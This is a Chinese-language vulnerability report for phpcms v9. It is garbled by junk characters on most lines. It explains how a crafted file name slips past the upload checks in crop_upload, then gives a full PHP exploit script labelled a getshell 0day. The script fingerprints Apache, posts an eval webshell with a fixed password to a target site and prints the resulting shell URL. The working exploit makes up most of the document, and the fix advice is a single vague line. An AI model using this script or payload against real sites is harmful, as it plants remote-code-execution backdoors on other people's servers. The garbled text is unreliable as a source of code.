漏洞类型: 文件上传导致任意代码执行- O1 r |7 j) s5 u; E# ?% D
9 R ]- I: e) m) q简要描述:
3 N# B8 s; o6 I
- t8 Y/ r x! |phpcms v9 getshell (apache)8 w6 d3 R7 b0 W5 J
详细说明:) y7 [+ [' B. g. T) E8 Y
4 i# z+ p( Z. I; Y; F9 l
漏洞文件:phpcms\modules\attachment\attachments.php
8 C6 ~4 a% j, h+ p h3 H. F: O: [4 [* H' e a' w" J2 n& I! P/ Z
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } " `! I; g+ E: S7 y+ C \4 W3 H7 ?
后缀检测:phpcms\modules\attachment\functions\global.func.php& Y: B; y9 n+ K" i$ J- g
W& p1 w: F! ~' [: D7 O
) a5 U/ l/ c1 \' D: @
/ O W9 h0 P* d& Ufunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
9 h' r% F' D4 F+ F
7 X5 H s! m; e3 e; r关键函数:
, t: U2 `1 }1 W( ~" r$ i
, d# u }4 P: X9 v/ E
5 X& L* V J$ T
& _) v1 d3 H9 x1 [6 hfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
! ^/ g; ~' }: j: N. u
) Y6 `2 f( S: z Fileext函数是对文件后缀名的提取。
& K9 h9 ]" e# U( u& }$ P5 [% d2 `根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
" c' P7 Y) k$ w+ C经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
! H4 I9 w! O4 W我们回到public function crop_upload() 函数中
: v$ | B/ G$ P. R, V. F* `if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
6 ]3 J! b" O# F0 X0 g4 \: C在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
- q4 S! R4 }! e+ C7 f) j这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
% F5 V" Y, \4 Q g6 w经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。$ A) F& p6 C6 C) x# L8 G; t2 ^9 ^
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
9 ^4 F% j7 [3 B7 t) U# z0 C1 r看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
3 t& T4 P- f. E1 ^- q& G; o漏洞证明:: H" M1 Q3 x& C3 g8 e: j
- p5 R& ]; _: C) Yexp:2 L' ]9 K7 m- R7 ]. p& b
0 u. c& f+ X8 i8 f# F/ p& M; c<?php
4 |" U6 p5 J; f- Derror_reporting(E_ERROR);
* @- d* j- W" D g. s$ K7 [$ Xset_time_limit(0);3 r. a9 J0 u! Q, ]
$pass="ln";- t2 c2 j8 g2 I6 g7 C
print_r(') \$ @% l/ @ i3 _" \- H
+---------------------------------------------------------------------------+9 w" f7 o/ W/ D$ L! ^
PHPCms V9 GETSHELL 0DAY
% A; c: Z3 ?9 I) w6 mcode by L.N.
+ E( S2 c' s$ v/ n, O+ J) l( n" I( b! W! @* G
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
$ g! U/ L4 ~" M' S: G+---------------------------------------------------------------------------+
# w: Y9 w/ ?3 X+ V" _& g5 f5 {* F');) F* |# D7 b, z7 ?
if ($argc < 2) {
& s7 ?% K; k$ W/ B* Y$ @print_r('% P2 p ^0 D7 n8 e1 G1 ?6 u
+---------------------------------------------------------------------------+
9 c1 b- J9 ^( l0 OUsage: php '.$argv[0].' url path
7 v9 [& _ [; A m: a0 [# M. C; ^3 {! [ H; N( `7 {# ]
Example:
! ^, C y4 t _6 E1.php '.$argv[0].' lanu.sinaapp.com) U" x, W( |' g7 _. @. [; p
2.php '.$argv[0].' lanu.sinaapp.com /phpcms2 ]1 T' d1 c8 |" x1 H1 F$ y* [2 A
+---------------------------------------------------------------------------+
9 ^8 q3 b! Z( J, }9 S');
# N. A( E& u+ a- q nexit;5 F2 E; c* d. |& ?! }
}3 _) M$ m: f5 T3 `+ }( {% c
. r6 q5 Q6 b1 w& l7 z$url = $argv[1];
' k6 R" H4 f) b, K& t$path = $argv[2];
, e) S: `& O) w4 v$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';0 l3 e O# h) G& `
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';( ` e* X3 X) Q
if($ret=Create_dir($url,$path))- e$ I7 Q1 h' W
{
! B5 [# @2 x) i0 B* `5 [//echo $ret;$ e b/ N6 C, L7 M. g4 e
$pattern = "|Server:[^,]+?|U";
' T6 O" S" M0 J5 H6 T/ mpreg_match_all($pattern, $ret, $matches);
+ i0 `6 I/ @: T- ]* Z$ }, nif($matches[0][0]): `9 P2 U5 {) p) y* y
{* m$ _0 r$ o3 u4 V( a" n0 _
if(strpos($matches[0][0],'Apache') == false)
/ E% [! x( s& B; K, j{
% k" j2 k; L8 r3 cecho "\n亲!此网站不是apache的网站。\n";exit;
% l+ C. b5 p9 ^% J/ K A0 I& J}
' j, g( C' Y( z' ?: \}) M K3 K7 g- L t o5 A
$ret = GetShell($url,$phpshell,$path,$file);; G4 L; D$ R4 P
$pattern = "|http:\/\/[^,]+?\.,?|U";
8 v( H' c+ w+ s0 gpreg_match_all($pattern, $ret, $matches);
& ^; Q0 F# _! @! R% T2 Vif($matches[0][0])
- B n5 ^. q* k6 a7 v{
1 p1 L. ]' L, [3 T% Oecho "\n".'密码为: '.$pass."\n";! V3 c$ H6 ^2 }& b3 [7 y. e0 Z5 Q
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% ^1 s! Q. K; C0 k}! o! a# e0 ` F, {7 ^1 I
else' o9 m- J+ {* Q8 V' g5 @1 x; K& V
{
2 e0 M- {. c; z) ^% x% z Y8 \$pattern = "|\/uploadfile\/[^,]+?\.,?|U";+ a5 j! U( l9 [7 k
preg_match_all($pattern, $ret, $matches);+ y$ K! {: J- H4 Y+ @4 `+ k
if($matches[0][0])' z; u9 q! b# I( R
{
9 W; s# N8 c( d: g* N U' v+ Vecho "\n".'密码为: '.$pass."\n";% D' } x) x4 I0 _
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
6 }9 H2 D: Z$ n2 t8 I}& I3 d# @0 l+ C# h& u- |1 _
else/ G! m) L5 v: L. s
{
$ o4 s' E" L1 r3 i5 oecho "\r\n没得到!\n";exit;; C" s9 `/ Z' W9 I0 e- P
}% d0 K, P7 }+ m4 ]
}
4 F: ^1 E! e9 e}
0 ?( D! J/ F* k7 {! T8 I, s
) ?( g- Q- |6 y& ?function GetShell($url,$shell,$path,$js)7 O5 R& F+ [. u) Q
{ u" g+ l O' h* V; A) ]. o
$content =$shell;
: N' t3 h5 s$ }# ~! v$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
5 G5 N2 o6 J4 M5 F+ N$data .= "Host: ".$url."\r\n";
8 w4 Y. n4 g C& e" x$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";# t L1 L; Q/ b. L
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 d( q# F: v- s2 Z. ~, T$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$ D, e( J1 m& X0 D- ~$data .= "Connection: close\r\n";8 ^: D% r& Y% |; \
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";; g% ^* p7 f y! t* z
$data .= $content."\r\n";
7 ]5 A& Q6 K: U/ W8 R$ock=fsockopen($url,80);5 {! h! P! e2 O2 e, D4 @
if (!$ock)
4 C% E w2 z, f' r; W7 T2 B" C Z{/ T, x ^2 E! W) o) @
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;" |; X7 z9 _1 i- g8 B( ~' \- d
}5 v- `7 K5 i- L6 E5 W# |. Q$ N
else7 P: g0 T5 U+ a1 P
{
; o. g) z! b- ~( N: gfwrite($ock,$data);
. b, \6 h5 p) m2 s( \8 e* w$resp = '';2 T: \0 V% `9 Z) T* J! f3 b
while (!feof($ock)). @4 e# L8 J) m6 p" L# Q
{) ] c3 Z/ v: z* X7 O8 e& \0 Y
$resp.=fread($ock, 1024);
, `2 ^# R& ]4 ]/ C1 o}
5 {# `+ c/ `* S& a A( Treturn $resp;' ?' s# H6 U* A4 N$ L: T8 B
}% R* n. N0 [- c+ u5 o
}' O& H' E: c) t- a1 ?
" S( F* r- ~+ x
function Create_dir($url,$path='')3 N0 O: n8 Z" y8 j, i' N1 p$ a
{
! Z5 M" k& H% L# r) f$content ='I love you';. E' H$ U* L$ d8 b* V; p
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
8 I7 m }% W8 l! _$data .= "Host: ".$url."\r\n";
' s7 {8 f% a9 X+ Y0 O9 q$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
/ p1 e- v6 \# C6 _/ p2 i% {5 P$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 G: f4 s; V2 m( J9 w; r- o5 ?$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
. m: e& E. z8 Y Y' _$data .= "Connection: close\r\n";* C3 W, U0 o. l: |8 T9 c
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 }# V5 f- d4 F+ \$ ~! S$data .= $content."\r\n";7 M4 c# I% M. l3 C4 Q1 M
$ock=fsockopen($url,80);( { t6 A" k1 t, n- H; ~' F
if (!$ock)
- N. E5 a# O# ]7 h; p5 ^( a{- z5 J9 n! `- a6 _/ A# }
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ l' w- n* m [% \6 z* G
}
# f/ @( k- Z/ H Mfwrite($ock,$data);
/ E" ~' {' C. {! C- F! F) f5 G$resp = '';( |7 s+ [. D6 |: y o- S
while (!feof($ock))
. P. o) y0 m6 B4 A$ B3 j2 k{
; ~ i" j! u* W) J/ a, l$resp.=fread($ock, 1024);
+ E! R3 n6 e/ z: v}2 U9 f8 s3 O. r, I- ]' s7 U4 J
return $resp;3 ~3 h1 ?) T9 {
}
9 F- p) a, B8 P% m?>
4 x7 [' T1 v) N* n5 i9 r, O6 p k
4 n$ d* \' i0 b8 B0 R修复方案:8 }$ x# Q0 @" q; `+ }
! r( @' }7 e0 X2 I
过滤过滤再过滤
1 C! \5 w9 e, n* X- g5 ?
, S+ E/ a+ A1 @7 Z7 V; Y D* b/ c |